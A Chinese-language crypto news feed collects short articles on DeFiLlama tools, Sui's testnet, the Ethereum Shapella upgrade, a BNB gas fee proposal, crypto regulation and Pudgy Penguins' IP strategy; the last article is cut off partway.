一个有趣的现象，FDV 百亿，几十亿的项目，收入只有几百万美金，且大部分收益到不了 Holders手里 9.1Raised-Overview -按照时间排序的融资时间 -融资规模，轮数，介绍，估值，领投及参投情况 9.2 Raises - Active investors -按照30天内出手次数排序 -投资项目情况 10. Stables-Overview -各个稳定币的挂钩情况，部署情况，以及变化情况 1B 以上有6个，USDT,USDC 的地位暂时无人撼动 目前仅DeFilama 收录的稳定币就有 97个 市场主流还是美元稳定币，但已经出现了一些欧元稳定币 11.Stable-chains -按照公链上的稳定币规模进行排序 -各个链上的稳定币项目寡头，稳定币/TVL 占比，桥接数量 12.Hacks -收录各个黑客攻击事件的时间，原因，规模，以及事件报告情况 其实很多都是因为协议逻辑情况，但恰恰大部分项目其实都审计过，只有少部分是新功能上线时没有及时审计，我认为去中心化保险或许是一个潜力点，但如何避免团队自黑也是一个挑战 13.ETH Liquid Staking -质押项目数量以及 LSD 情况，APR 等 Lido 处在决定领导地位，但unshETH 成立7天+，已经有 86.05 ETH 存入 Hord 的APR 能达到35.11%，数额高的吓人 DeFilama 提供的一些有趣的小工具： -roundup - 由DeFilama 整理的各种信息、新闻汇总 -Trending Contracts：查询过去某段时间的合约交互情况（默认60分钟，我尝试了1分钟时间，但刷新不出来） -Token Liquidity：查询代币之间的流动性深度 除了 DeFillama还有一些很棒的网站值得推介：  ( 7 min )
    Sui Network发布的永久测试网，在生态中扮演什么角色？
    原文：SUI Foundation 编译：SUI World 今天，Sui Network 在官方推特上宣布推出永久测试网，这是一个长期运行、去中心化和无需许可的测试网，与过去的Waves 1和Waves 2测试网不同，这个新的测试网即使在主网启动后也会继续运行。通过这个永久测试网，SUI Network 将会给社区带来许多重要的功能更新。 动态验证者集：满足足够权益要求的候选验证者可以在 epoch 边界加入网络，活跃的验证者可以在 epoch 边界离开网络，这个验证者访问模型真正实现了无需许可。 支持协议软件和 Sui 框架升级：与 Devnet 不同，Testnet 不会在每次软件更新时被删除（除非有特殊原因），在 Testnet 上任何软件更新或数据删除之前，社区将得到通知。 从数据库快照恢复全节点：节点运行者可以利用检查点快速启动全节点，而不是等待全节点同步。 地址和签名更新：账户地址、对象 ID 和交易 ID 从 20 字节升级到 32 字节，以防止哈希冲突。此外，Sui 的默认哈希函数现在是 Blake2b 而不是 SHA3，因为 Blake2b的性能更高。为了支持广泛的交易规模，签名现在应用于哈希摘要而不是序列化的 BCS 数据，这使得 Sui 与硬件钱包兼容，硬件钱包的签名者 API 通常允许有限大小的输入。 为了实现让 Sui 成为公链中开发者最友好平台的愿望，Sui 将这次的永久测试网视为 Sui DevX 1.0 的最早化身，其中汇集了许多核心开发人员原语和语义： 1）整个SUI 发展过程中，开发者和建设者反馈的汇集； 2）开发人员效率的基础元素将继续细化； 3）设计的目的是实现一个去中心化但不碎片化的SUI 生态系统 1）可编程交易块 https://docs.sui.io/build/prog-trans-ts-sdk 这种强大的结构可以将一系列交易——splitCoin mergeCoins transferObjects moveCall makeMoveVec publish——链接在一起，以创建一个特别适合应用程序需求的自定义原子交易块。由于 moveCall 可以指定任何现有的链上功能，可编程交易块本质上提供了临时交易组合，极大的增强了 Sui Move 编程模型的通用性。 可编程交易块还简化了GAS Coin 对象管理，因为应用程序可以传入GAS Coin 对象 向量并在可编程交易块内执行 Coin 拆分/合并，而不必在提交前执行 Coin 选择。 2）赞助交易和gas station https://docs.sui.io/learn/sponsored-transactions 虽然自SUI 0.27 版以来就支持赞助交易，现在 Shinami 的gas station https://github.com/MystenLabs/sui/releases/tag/devnet-0.27.0 可以与 Sui 的永久测试网一起使用！ 3）对象显示标准 https://docs.sui.io/build/sui-object-display 一组命名模板标准化了相同类型对象的链下显示，Sui 浏览器和 Sui 钱包现在都支持对象显示标准，Sui API 和 Typescript/Rust SDK 也支持对象显示标准。这是一项来自 Sui 社区的大量想法和头脑风暴的共同努力——特别要感谢 Capsules 和 OriginByte 以及他们对这个标准的投入。 4）Kiosk Standard https://github.com/MystenLabs/sui/blob/main/crates/sui-framework/docs/kiosk.md Kiosk 是一种功能强大的新原语，支持列出待售对象并在对象售出时强制执行创建者定义的版税政策。Object Display 和 Kiosk 的结合填补了人们在 Sui 上构建收藏品和交易平台的两个关键空白。我们鼓励生态系统钱包、浏览器和市场探索对象显示标准和 Kiosk 标准，以实现整个生态系统的无缝兼容性。 5）RPC 改造 现在有更多基于聚合的 RPC get* 方法：getEpoch、getNetworkMetrics、getMoveCallMetrics、queryObjects。JSON RPC 批处理请求已弃用，取而代之的是 MultiGet* 方法。系统事件已弃用，取而代之的是交易响应中的专用字段。最后，一些遗留的 RPC 方法（标有 unsafe_*）被弃用，取而代之的是可编程交易块。 6）零知识证明 现在有 Move API 支持使用 BN254 椭圆曲线和 BLS12-381（两种最广泛使用的曲线）验证 Groth16 ZKP。这提供了 Sui 智能合约中的计算证明，并支持隐私保护应用程序。 7）两种粒度的时间戳 https://docs.sui.io/build/move/time 一个细粒度的Clock模块，支持近实时应用程序的2-3秒粒度，以及一个粗粒度的Epoch时间戳。 8）Move Package Upgrade 这是开发者升级他们Move 智能合约和导入相关包的基本功能，移动包升级将与下一次软件更新一起在测试网上可用（暂定在4月的第一周），请保持关注！ 除了使用Devnet和Testnet，我们还鼓励构建者使用本地环境进行初始开发和更快的迭代。sui-test-validator二进制文件已得到改进，以帮助本地开发。 下表描述了截至本文发布之日，Devnet 和永久测试网之间不同的网络特征。  ( 5 min )
    Polygon：Polygon zkEVM不会单独发币，预计MATIC将用于其中的质押和治理
    PANews 3月30日消息，Polygon在其官方文档更新Polygon zkEVM相关的常见问题。其中指出，Polygon zkEVM主网将不会发行单独的代币，ETH 将用于支付网络gas费，预计未来MATIC将用于Polygon zkEVM中的质押和治理。 此外，由于Polygon zkEVM通过ERC-4337支持帐户抽象，这将允许用户使用任何代币支付费用。  ( 4 min )
    BNB Chain降低GAS费提案背后：Layer2扩张迅速，BNB社区急了
    来源： BNBchain forum   作者：ArnoB 编译：Katie 辜 作为一个区块链用户，我观察到在 BNB 智能链（BSC）上需要一个适应性更强的交易费用分配结构。这个提案的目的是证明拥有更灵活的交易费用结构的重要性，确保区块的有效利用，并吸引新用户。这种方法将有助于维持 BNB 经济，提高 BSC 的市场地位，特别是在路线图中观察到的多链策略中。 目前，L2 解决方案正变得越来越主流，与 BSC 的 L1 费用相比，L2 解决方案为用户提供更便宜的交易费用。随着 L2 解决方案越来越受欢迎，BSC 网络保持其市场份额的竞争压力越来越大。BSC 交易成本目前设定在相对较高的固定费率 5 gwei，这可能不像 BSC 生态系统以外的 L2 解决方案提供的更实惠的费用那样吸引用户。这将确保现有和未来的 BNB Chain L2 解决方案保持竞争力，并在生态系统中留住有吸引力的用户。 在过去的 6 个月里，网络的关键测量值趋于平稳，造成了网络利用率不足的情况，利用率在 15-20% 之间变化。为了防止不“落后”于快速增长的 L2 解决方案，BSC 验证者应该认识到重新评估其当前交易费用结构的紧迫性。我坚信调整费用以提高成本效益可以帮助 BSC 保持其市场地位，并吸引用户寻找更实惠、更高效的区块链解决方案。 以下是我已经创建的一些模拟例子来展示可能的上涨情况和调整交易费用后的优势。 BSC 操作参数： 每日区块数量： 28, 800  Gas 限值： 140 M 如你所见，在我们调整 Gas 价格时，网络利用率会对整体回报产生很大影响： 在 Gas 价格为 5 gWei ，区块容量为 20% 的条件下 ： 28, 800 * ( 140 M* 20% ) * 5 gWei = 4, 032 BNB/天 在 Gas 价格为 3 gWei ，区块容量为 33% 的条件下 ： 28, 800 * ( 140 M* 33% ) * 3 gWei = 4, 032 BNB /天 在 Gas 价格为 2 gWei ，区块容量为 50% 的条件下： 28, 800 * ( 140 M* 50% ) * 2 gWei = 4, 032 BNB /天 在 Gas 价格为 2 gWei ，区块容量为 80% 的条件下： 28, 800 * ( 140 M* 80% ) * 2 gWei = 6, 451 BNB /天 我建议 BSC 验证者对交易费用采取更灵活的方法，使用户能够选择低于当前 5 gwei 费率的费用，并根据他们的经济需求选择低至 3 或 4 gwei 的费用。 这一变化将使 BSC L1 比其他生态系统的L2解决方案更具吸引力，并为潜在的 BSC L2 解决方案提供竞争优势（BSC L2 的目标应小于 0.005 $/tx）。此外，即将推出的 Greenfield 去中心化数据存储系统将吸引新用户，并为 BSC 带来新的流量。 此外，BSC 上的高交易量仍将为 BSC 验证者提供巨大价值，从而为参与的验证者提供强大经济激励保障。这种方法将带来以下好处： 增强可持续性：使项目更具可持续性，并为新项目迁移到 BSC 提供强有力的经济激励。较低的交易费用将有助于在交易量较低的时期维持区块链经济。 吸引新用户：在具有高吞吐量利用率的L1上提供更低的费用，将吸引新用户进入 BSC 生态系统，促进增长并提高 BSC 的市场地位。 优化区块利用率：通过吸引新用户，验证者可以更好地利用每个区块的容量，并增加他们的整体奖励。 验证者为了维持目标投资回报率，可以考虑提高他们从验证者的收益中获得的佣金率。通过实施这一提案，BSC L1 和 L2 都将从提高竞争力和市场适应性中受益，为整个生态系统创造双赢的解决方案。 总之，该提案强调了在 BNB 智能链（BSC）上采用更灵活和适应性更强的交易费用结构的重要性，目的是提高与 Layer 2  解决方案竞争的能力并吸引新用户。通过允许用户选择低于当前 5 gwei 费率的交易费用，BSC 可以为验证者提供强大的经济激励，并促进可持续的生态系统。这种方法将增强可持续性，吸引新用户，并优化区块利用率，最终使 BSC L1 和 BSC L2 都受益。实施这些变化将确保 BSC 生态系统在竞争日益激烈的市场中持续增长和保持竞争力。  ( 5 min )
    泰国SEC考虑取消针对散户投资者的30万泰铢IC0投资限额
    PANews 3月30日消息，据Finance Magnates报道，泰国证券交易委员会 (SEC) 正在考虑取消首次代币发行 (IC0) 的300,000泰铢（约合8,800 美元）零售投资限额，以刺激对数字代币的投资。SEC将对此举行公开听证会，直至4月27日。根据目前的规定，散户投资者只能通过IC0向一个项目投资不超过30万泰铢。 泰国监管机构表示：“该法规的修订旨在加强对数字资产运营的有效监控，并降低可能影响投资者、数字资产运营商和市场的风险。提高散户投资者IC0限制的举措将允许更多散户投资，从而增加他们的风险敞口。”  ( 4 min )
    ARB空投后，DEX平台Trader Joe为何能脱颖而出？
    作者：@0xTindorr, 加密KOL 编译：Felix, PANews ARB空投证明了@traderjoe_xyz发明的“流动性账簿”非常有效。吸引了约1600万美元的流动性，并在一周内从1亿多美元的交易量中产生了巨额交易费用。 自从Trader Joe在AVAX上发布以来，团队中充满了建设者，不断开发并交付新功能。令人欣慰的是，Trader Joe的流动性账簿做得很好。Degen chads（愿意承担高风险高回报的投资者）应该从这篇文章中认识到Trader Joe的全部潜力。 通常在币安交易中看到“订单簿”(Order Book)，用户设定一个订单，以特定的价格买入或卖出。而用户在Trader Joe上，则可以在他们喜欢的价格范围内提供流动性，被称为“流动性帐簿”。 流动性帐簿使用了Bins（箱）设计，将箱子组合成一个整体，汇总了所有的流动性。（注：Trader Joe对流动性进行分组，将资产对的流动性安排在不同的箱子中，每个箱都有一个特定的价格，用户能够同时为多个箱提供流动性。） 例如，ARB/USDC 池为 1 ARB = $1.14827： 剩下的该项资产之后会移动到最近的箱，左边或者右边。 用户选择要将流动性提供到哪个箱中，可以根据以下因素： 流动性帐簿作为全新的架构，还能实现： 用户可以使用流动性帐簿做任何想做的事情。 举一个例子：如何使用ARB/USDC资产对提供流动性，并获得收益。 正如之前所说，@0xTindorr相信ARB最终会再次上涨。 因此，像这样设置箱子（忽略箱子价格）可以帮助用户在选择价格时赚取费用。 用户需要打开： （关于策略的选择，推荐阅读JX推文：添加Trader Joe流动性的六种常用方式） 3.潜力 Trader Joe上的TVL在过去7天内飙升了256%，成为Arbitrum上最近增长最快的协议之一。 而且，Trader Joe在ARB池子里提供了很好的APR。 这次ARB空投让很多用户意识到流动性账簿的潜力，以及未来可以在新代币发行中做更多的事情。预计Trader Joe会有更多的流动性进入协议，并最终在Arbitrum上的TVL进入前10名。 相关阅读：《解读Trader Joe的Liquidity Book协议：让LP流动性离散化的AMM解决方案》  ( 4 min )
    项目研报丨Omnichain创新者ZetaChain：采用原生DVT的新型Layer1公链
    跨链赛道一直是区块链领域关注的重点之一。其中，Omnichain 被许多人认为是跨链的未来。越来越多的项目希望将 Omnichain 功能加入其应用场景中，以在 DeFi 世界中获取更多流动性和互操作性。本篇报告我们将带大家了解什么是 Omnichain，并详细地介绍 Omnichain 基础设施网络：ZetaChain，为大家带来最全面的项目解析！ 本文与 ZetaChain 合作推出 在本篇报告中，我们将详细介绍 ZetaChain 的跨链机制，并将现有跨链技术与 ZetaChain 的 Omnichain 功能进行详细对比，引导读者深入了解 ZetaChain。在阅读这篇报告后，我们希望读者能解决以下疑问：ZetaChain 是什么？与其他跨链项目相比，ZetaChain 在技术上有何关键创新？ZetaChain 目前的生态发展情况如何？ 下面是报告中的部分要点： 通俗来说，ZetaChain 是一条公共区块链，允许人们在比特币和以太坊等不同区块链之间发送信息和转移加密资产，且无需任何中间人或额外步骤。这通过 Omnichain 功能实现，它将所有不同的区块链连接在一起，以便人们轻松地移动资产和信息。ZetaChain 还允许开发人员构建适用于所有链的去中心化应用程序，从而可以轻松地从一个地方管理所有内容。 从对比中可以看出，大部分早期跨链桥协议，如WBTC多使用【锁定/销毁 + 铸造】方案进行跨链资产传递；而较新的跨链协议，如Stargate、Synapse则大多选择了【流动性互换】方案。 根据统计，截至 2023 年 3 月 16 日，DefiLlama上 TVL 总量最高的 10 个跨链桥协议中，有 8 个协议主要使用【锁定/销毁 + 铸造】方案。仅有 Stargate 和 Synapse 两个协议单独使用【流动性互换】方案。 现有跨链桥的局限性 在【锁定+铸造】方案中，资金跨链需要使用包装资产作为原生资产的替代品才能实现资金的转移。 【流动性互换】方案则不支持非智能合约平台和链接网络内不可用的资产。 在【单方/多方验证】中，单方验证是中心化的。 在【中继器 + 轻客户端】中，第三方中继器的部署成本较高。 ZetaChain 的创新 为了解决现阶段跨链协议的弊端并实现全链跨链功能，ZetaChain 开发了一系列用于跨链资金传递和通用多链编排的工具：Omnichain 智能合约、账户以及消息传递。 此外，在验证机制方面，ZetaChain 计划结合【中继器】和【多方验证方案】，使用网络内分布式验证节点架构以及阈值签名方案 TSS 验证交易。 ZetaChain 的跨链通信功能主要靠其网络内的分布式验证节点实现。它计划利用自己网络内的验证节点代替中继器和预言机，帮助验证跨链交易信息并实现喂价功能。 ZetaChain Omnichain 账户/TSS ZetaChain 的Omnichain 账户允许用户连接包括智能合约平台、非智能合约平台在内的全部区块链网络，以实现资金的全链跨链转移。它作为交易的基站，用于管理和验证与外部链相关的交易。具体交易验证由阈值签名方案 TSS 支持。 ZetaChain Omnichain 智能合约/通信 借助 Omnichain 智能合约，开发者可以构建不同种类的Omnichain DApps（odApps）。开发者仅需通过 ZEVM 在 ZetaChain 网络上部署单个智能合约，即可连接包括 ZetaChain 本身在内的所有目标链。zEVM上的合约与ZetaChain的互操作性层相连，能够协调外部链上的资产，实现链与链之间的资产跨链转移。 ZetaChain 生态 社群 ZetaChain 目前在包括Twitter、Telegram、Discord在内的多个社交媒体上运营官方账户，支持超过 20 种语言。社群总人数超过 100 万。 针对测试网相关链上数据，ZetaChain 发布了自己的区块链浏览器，Zetascan。Zetascan 可以观测 Athens-2 测试网的运行情况，数据维度包括跨链交易数据、ZetaChain 本地交易数据、DApp 合约部署数据等。 合作伙伴 ZetaChain 与多个涉及不同领域的主要项目/协议达成了合作关系，希望通过其主要的 Omnichain 跨链技术帮助这些项目/协议解锁更多跨链用例并实现可覆盖全链的数据/资产转移。根据 ZetaChain，目前已确定将部署在 ZetaChain 上的 Omnichain DApp 包括 DEX、Identity 基础设施（Galxe）、社交协议（CyberConnect）、DAO（STP） 等。 上面是这整篇报告的部分关键内容，详细内容请查看报告全文阅读。  ( 5 min )
    以太坊主网Shapella升级官方公告：质押提款即将到来，我需要做什么？
    来源：blog.ethereum.org 作者：Protocol Support Team 翻译：Franci, ECN 在顺利完成了 Goerli 测试网 Shapella 升级之后，客户端团队计划在主网激活 Shapella 升级。在第 157 次 All Core Devs 执行层会议期间，开发者们很快就 4 月 12 日这个时间达成共识。 此次升级紧随 The Merge，使得验证者可以把他们的押金从信标链提取回执行层。它还给执行层和共识层引入新功能，请看下文。 Shapella 升级结合了对执行层 (上海升级) 和共识层 (Capella) 的修改。用于执行层和共识层通信的 Engine API 也在 Shapella 升级里有修改。 在上海升级里纳入的执行层的修改可以在这里找到。作为参考，内容如下： 请注意，EIP-6049 只是一个操作码弃用警告。客户端团队预计 SELFDESTRUCT 语义将在未来的网络升级中进行修改，但该操作码的行为在上海升级中保持不变。 此外，上海升级的全套修改现在可以在以太坊执行层规范 (EELS) 中查看，它是用于执行层的新 Python 参考实现。 Capella 升级对共识层的修改详情在 capella 目录 的 v1.3.0-rc.3 规范里。README 清单中列出了完整的更改集。从高层次来讲，这次升级引入了： 我们鼓励质押者都去阅读《提款 FAQ》，以了解更多关于验证者应该如何准备 Capella 的资讯。 对 Engine API 的修改可以在 execution-apis repository 的 shanghai.md 文档里找到。简而言之，引入了 WithdrawalV1 结构，并添加了多个相关结构和方法。自 Merge 以来对执行层 API 的更改已经打包在仓库的最新版本中。 以下的客户端版本支持在以太坊主网的 Shanghai & Capella 升级。此前的 Shapella 升级客户端版本仅支持测试网的部署，与主网升级并不兼容。 当在选择运行哪个客户端时，验证者应该特别注意在执行层和共识层运行多数客户端的风险。关于这些风险以及他们的后果可以阅读这篇文章了解更多。而如果想预估当前执行层和共识层客户端的分布，以及了解如何从一个客户端切换至另一个客户端，则可以阅读这篇文章。 共识层主网升级版本 注意：运行一个验证者时，共识层信标节点和验证者客户端都必须更新至最新版本。 执行层主网升级版本 注意：在 Erigon v2.41.0 中发现一个问题。此版本不适合 Shapella 升级。Erigon 用户应该升级到 v2.42.0。 作为一个以太坊用户或者 ETH 持有者，我需要做什么？ 简单来说，没有。 如果你使用交易所、数字钱包或硬件钱包，你不需要做任何事情，除非你的交易所或钱包提供商通知你采取额外的措施。 如果你运行自己的以太坊节点，请参阅下文。 作为一个非质押的节点运营商，我需要做什么？ 为了与主网的 Shapella 升级兼容，请将你的节点更新到上文表中所列的以太坊客户端版本。 作为一个质押者，我需要做什么？ 为了与主网的 Shapella 升级兼容，请将你的节点更新到上文表中所列的以太坊客户端版本。 我们建议你阅读《提款 FAQ》。 如果我是一个验证者或节点运行者，且不参加这次升级，会怎么样？ 如果你使用的以太坊客户端没有更新到上面列出的最新版本，一旦升级发生，你的客户端将同步到分叉前的区块链上。 你将被困在一个不兼容的链上，遵循旧的规则，无法发送 ETH 或在 Shapella 升级后的以太坊网络上操作。 作为一个应用程序或工具开发者，我应该怎么做？ Shapella 不会为智能合约引入不兼容的修改。应用程序和工具开发人员应审阅升级修改，以确保任何问题都解决了，或了解如何使用新引入的功能。 也就是说，应用程序开发者应该意识到在上海升级中，SELFDESTRUCT 操作码已被弃用。虽然它的语义没有在这次网络升级中进行更改，但在后续的升级中可能会更改。更多信息请参考 EIP-6049。 为什么叫 "Shapella"？ 执行层的升级按照 Devcon 举办城市来起名，而共识层的升级则根据恒星名字来取。"Shapella" 是上海 (Devcon 2 的举办地) 和 Capella (Auriga 北方星座中最亮的星) 的结合。 哪里可以观看 Shapella 升级直播？ EthStaker 和 Ethereum Cat Herders 会组织 Shapella 升级观看派对，在升级差不多开始前直播。你可以在这里收听。 感谢所有为 Shapella 升级做出贡献的人，感谢所有新旧质押者，感谢他们帮助保护了仍处于早期阶段的 PoS 以太坊! 封面图片由 Yiran Ding 原创，由 Tomo Saito 改编。  ( 6 min )
    香港基金ProDigital Future Fund拟筹集1亿美元用于投资加密初创公司
    PANews 3月30日消息，据彭博社报道，一家名为“ProDigital Future Fund”的香港基金计划今年筹集1亿美元用于投资数字资产初创公司，现已获得至少3000万美元的资金承诺，首轮参投方包括Sunwah Kingsway Capital Holdings Ltd和Golin International Group Ltd.。该基金由亚洲私募股权公司SAIF Partners的风险合伙人Ben Ng和长期科技投资者Curt Shi领导。 ProDigital Future将瞄准早期和发展中的企业，尤其是与中国有联系的科技公司，它们正在向Web3转型。到目前为止，该基金已经投资了6个数字资产项目，包括总部位于香港的元宇宙公司GigaSpace和澳大利亚数字体育俱乐部One Future Football。  ( 4 min )
    美SEC主席寻求24亿美元拨款以追查加密领域“不当行为”
    PANews 3月30日消息，据Cointelegraph报道，美国证券交易委员会主席Gary Gensler表示，支持拜登总统为该监管机构拨款24亿美元的请求，并强调了打击加密货币行业“不当行为”的持续需求。 在为3月29日众议院拨款委员会2024财年年度预算听证会准备的证词中，Gensler表示，需要额外的资金来保持创新的步伐，并补充说，金融市场的快速技术创新导致了新兴领域的不当行为，尤其是在加密领域。解决这个问题需要新的工具、专业知识和资源。增加的资金将允许SEC再雇佣170名员工，其中大部分将在其执法和审查部门工作。  ( 4 min )
    胖企鹅CEO分享NFT商业模式设计：如何打造Web3顶流IP？
    原文：《NFT 的大规模采用会因用户热爱 IP 而来：胖企鹅 CEO 分享 Web3 IP 的商业模式设计》 作者：starzq、Ruby Wang TL; DR Luca Netz 作为 pudgy penguins（后文统一称「胖企鹅」）的 CEO，并非胖企鹅的创始人。22 年 4 月，他以 250 万美金（当时 750ETH）价格买下了这个 PFP 项目。一年以来，胖企鹅的交易量和地板价都有了稳定的增长。尤其最近 1 个月，胖企鹅的地板价一度 flip 了多个蓝筹项目，占据 Blur 首页推荐。 Luca 带领团队究竟做对了什么？有那些独特的思考？ 出于对其项目运营的好奇，我认真研究了他近期的访谈，梳理他对打造 IP 商业模式的思考，同时也谈谈我的看法。 * 声明：本文作者未曾持有 Pudgy Penguins/Lil Penguins 系列 NFT 近一年来胖企鹅的地板价数据表现 关于 Luca Netz 虽然非常年轻，24 岁的 Luca 已经是个连续创业者。 成长于穷困的家庭，儿时的他和妈妈有近 10 年时间无家可归，经常需要跨国搬家并借住在朋友们的客厅。他不得已在 16 岁高中辍学后，开始在洛杉矶做生意。先是在仓库经营派对赚钱，然后加入了一家销售门铃的创业公司 Ring Doorbell，从那儿开始找到了自己擅长的领域：通过社交媒体与网红（KOLs）销售商品。Luca 成了典型的 drop shipper，即通过与网红们合作，处理背后的商品供应链，并直接从品牌销售到消费者的电商卖家。他曾打造过不少爆款，包括 gel blaster 的玩具枪，不仅在线取得千万美金的销售成绩还打入了全美沃尔玛（感兴趣的可以看 YouTube 上的测评视频）。 Gel Blaster 网红爆款在美国亚马逊的销售图 二、商业模式 Yuga Labs 的特殊性：连续空投在熊市行不通 Luca 认为，Yuga Labs 的成功，在牛市推出是一个不可忽视的因素。其他项目是否可以一波波地新发，给持有者持续空投？如果项目的地板价没到 20ETH，那子系列的价格可能只在 0.5E 左右。不仅没多大意义，而且还会稀释整个项目的供给。并且在熊市，这种增发新系列的方式也行不通。 很多 web3 的持有者在今天想要的主要是交易价值（transactional utility），他们希望价格上涨，free money，拿到空投的那种喜悦。我当然也想给我的社区这些；但是同时我们也得清醒地认识到这是凭空造物（create things out of thin air）或者我们所说的「庞氏」。 想要赢得成功，就需要构建一个可持续的，可增长的收入来源。之前 NFT_GOD 也分享过，公司需要建立在超越 NFT 的事物上。 一方面，Luca 清醒的认识到，靠版税和新发都很难在熊市中 work。 以太坊上的版税是我无法控制的变量——上个月胖企鹅可能靠版税赚了 50 万美元，下个月赚 5 万美元。但这不是我的错，而是因为某种宏观经济条件对流动性的影响。 另一方面，PFP 的终局是 IP，根据 2020 年全球最赚钱的 25 个 IP 的收入来源，实际上 IP 的主要收入方式为衍生品销售、游戏、 影视票房三大类，其中衍生品与游戏可以说是 IP 变现的两大引擎。 可以看到，宝可梦至 1996 年以来的 24 年收入近 1000 亿美元，说明 IP 的天花板是非常高的 The World’s 25 Most Successful Media Franchises NFT 头部项目里，Yuga Labs 主要选择了游戏方向，同时收购的 10KTF 也会与品牌实体结合以商品做变现；Azuki 在去年推出 PBT 协议和 Ambush 的联名，也在探索实物商品与数字体验结合变现的道路。 Luca 选择了 IP 衍生品，他从接管胖企鹅开始，就着手操作 IP 授权和商品企划相关事宜，同时与用户创造情感连接。 目前的阶段，数字收藏品（digital collectibles）并不是大众用户每天参与并且有情感互动的。我们有一天会破圈到日常大众，但是目前显然还没有。从营销和消费者行为角度，品牌创造尽可能多的高频用户接触点非常重要。我如何可以尽可能多地触达你，让你留下记忆，创造情感连接？比如你通过网上的动图，或者朋友送给你的企鹅玩具，或者零售店里的企鹅形象了解到我们的品牌，那你就更有可能成为我们的一员。 所以胖企鹅打算怎么做？我总结大致的变现思路： ToB 合作授权先行，ToC 提升品牌影响力，最终提升直接销售占比。 先利用最初的全网社交媒体影响力和曝光，用 ToB 的授权打开局面，在线下零售店与合作网站上销售胖企鹅 IP 的商品。好处在于可以先拿到部分收入，也降低最初供应链，渠道铺设等投入成本，同时扩大了品牌商品的触点。在 ToC 方面，团队聚焦提升品牌影响力，提升全网对 IP 的好感度。当长期靠自有渠道与社区影响力做 DTC 销售的时候，能够有效降低降低营销成本，提升转化。 具体在运作上，胖企鹅有些不错的巧思，总结以下三个出彩点： 胖企鹅在社交媒体上的表现是可圈可点的。除了 Twitter 的 10 万粉丝，值得注意的是团队花了不少精力在 web2 的平台上。 Instagram 上有 36 万粉丝，以每日更新小企鹅可爱的内容获得了不少评论，有些小动画甚至有 40 万的赞。像这样的互动，很容易与广泛年轻用户产生联结。 胖企鹅 Instagram 官方账号 另外在 Giphy，一个支持所有社交媒体分享 Gif 的平台，胖企鹅应该是唯一官方建立了品牌账号，并获得 2K 的 gif 动图上传与 20 亿次跨平台浏览量的 NFT 项目。我翻了下几乎没有太多 web3 项目官方在 Giphy 上，除了像无聊猿，BEANZ 等有不少是社区上传的。Nike，Starbucks 品牌也有自己的 Giphy 账号，浏览量目前和企鹅在一个数量级上。 Giphy 由于对 Giphy 不够熟悉，我还去问了 ChatGPT： 短平快的内容先行，利用影响力做授权变现 Luca 说他很认同推特上一个帖子的评价，「胖企鹅可以看成是 NFT 届的 doge」。 他思考这种相似之处是 meme 导向，而他要做的是让大家可以到处传播这些 meme。比如选择 Giphy，好处在于它已经集成了很多大的 web2 平台尤其是 Twitter，梗图无处不在，用户 UGC 的力量可以方便地将 IP 渗透到互联网各个角落。 社交媒体的作用更像是转化漏斗最上一层的背景信息，让大家熟悉这个品牌并种草。比如在美国，使用 Giphy 的用户中，年龄在 18-29 岁之间的占比最高，达到了 37%。同时如果他是一个 web3 圈内人，现在收到妈妈或者女朋友给他发带有企鹅形象的 gif，他们就知道了（项目方在做事！?）Luca 认为，Gif 梗图这招尤其对这些人的胃口，增加了他们对项目的好感度，并可能将其转化成为企鹅的拥护者。 当然最终，社交媒体主要是服务于品牌传播而非直接变现渠道。目前这些曝光数据，年轻人活跃的互动行为是团队作为和授权商与内容制作工作室谈判的筹码。这类似国内潮玩 IP 的启动策略，靠一些可爱的形象和短平快的内容让大家先对这个形象和部分角色有好感。而不是一上来就花费巨资做长线内容，再依靠有故事的动画剧集内容延长角色的生命力做 IP 的长周期变现。 据悉，胖企鹅最近已经在推进商标注册，涉及北美的糖果，零食，漫画书，在线社交媒体等多个垂直品类，为品牌的长期发展做准备。 以下推文可以参考：https://twitter.com/NeerMcD/status/1638152037299810306?s=20 读到这里，你可能会问：这都是 web2 传统的 IP 变现方式，那和 web3 以及 NFT 社区有什么关系呢？ Luca 认为 web3 项目应该要利用好 NFT 不能被忽视的一个独特优势——抓住 5000-10000 人的注意力，并且让他们成为你品牌的支持者。在最初研究各个 NFT 头部项目时，他发现 BAYC 是做得最好的，因为他们让最初的持有者富有，而这会构建社区的信任基础，并且使得社区成员成为项目的拥护者，自发推动项目的成长。5000 人不是一个小数目，可能你建设一个上亿的生意（如果有强大的 5000 个传播者）也够了。人们会支持你，因为这与持有 NFT 利益相关。 因此回到胖企鹅的业务，无论 IP 成长为什么形态：一个游戏，TV show 还是实体玩具，能够把业务累积的价值回馈给 NFT，保持核心社区的强大是非常重要的。 在具体的商务安排上，胖企鹅目前探索了两种授权模式： 方案一：少部分持有人的形象授权实物生产，商业收入分成 Luca 称胖企鹅是第一个从社区征集形象做实物授权的项目方，之前 Doodles 和 BAYC 也做过 figure 和潮玩，但是完全用了项目方自持形象。他比较理想地希望形象用社区持有者的，然后收入与他们分配。但是当真的实操了才发现，原来之前没有项目这么做的主要原因是法务上真的很棘手。比如上，怎么解决持有人授权 NFT 后又交易的问题，永久性的授权（perpetuity）是很难的，因为需要锁定这个 NFT 的流动性。 后来团队换了种方式试图解决这个问题。使用 holder 的 NFT 资产以预付款 + 非排他性的合同条款来解决： 在这个模式里，胖企鹅团队负责媒体宣传，商品设计和渠道合作等。唯一的问题在于这种操作比较难规模化，而且目前也没有公开信息可以查到持有人的收益与预付款信息（期待未来有链上方案）。 胖企鹅分别在去年的 9 月与今年 2 月宣布与玩具销售与授权的公司 PMI 和 Retail Monster 达成合作，将推出不同系列的玩具商品，其中一些包含数字体验。目前这些商品都还没有问世，因此价格与销量也暂时没有数据。 有一个长推总结所有的玩具合作与实物样品。 方案二：大部分形象授权社交媒体曝光，共同打造品牌知名度 以方案一的授权方式无法照顾到所有 8000+ 个 NFT 企鹅形象，至少 5 年内不可能。因此 Luca 的思考是大部分企鹅形象主要授权团队来做社交媒体曝光。Instagram 官号每天发一个不同的企鹅的图，Giphy 上，每周发布 100 个 Gif，每周在社交媒体上就曝光 107 个企鹅，每年就是 6000+ 个。 不同的曝光数据是否会影响到 NFT 的交易行为？或者，最后是不是可以给每个企鹅曝光的分成呢？团队希望靠规模化运作来探索这样的形式。 Luca 对胖企鹅的长期目标： 创建世界上第一家伟大的 web3 IP 公司；成为第一个全球公认的品牌和 IP 之一。 他认为 NFT 成功的必要条件是有 IP 通过起源于 NFT 而发家成功，这点我深表同意： 如果不是我，也需要有人来赢得这场战斗，并征服这个垂直领域，在我看来，我们的圈子才会真正受到重视。希望到今年年底我们毫无疑问地成为 Top3 的项目。 Luca 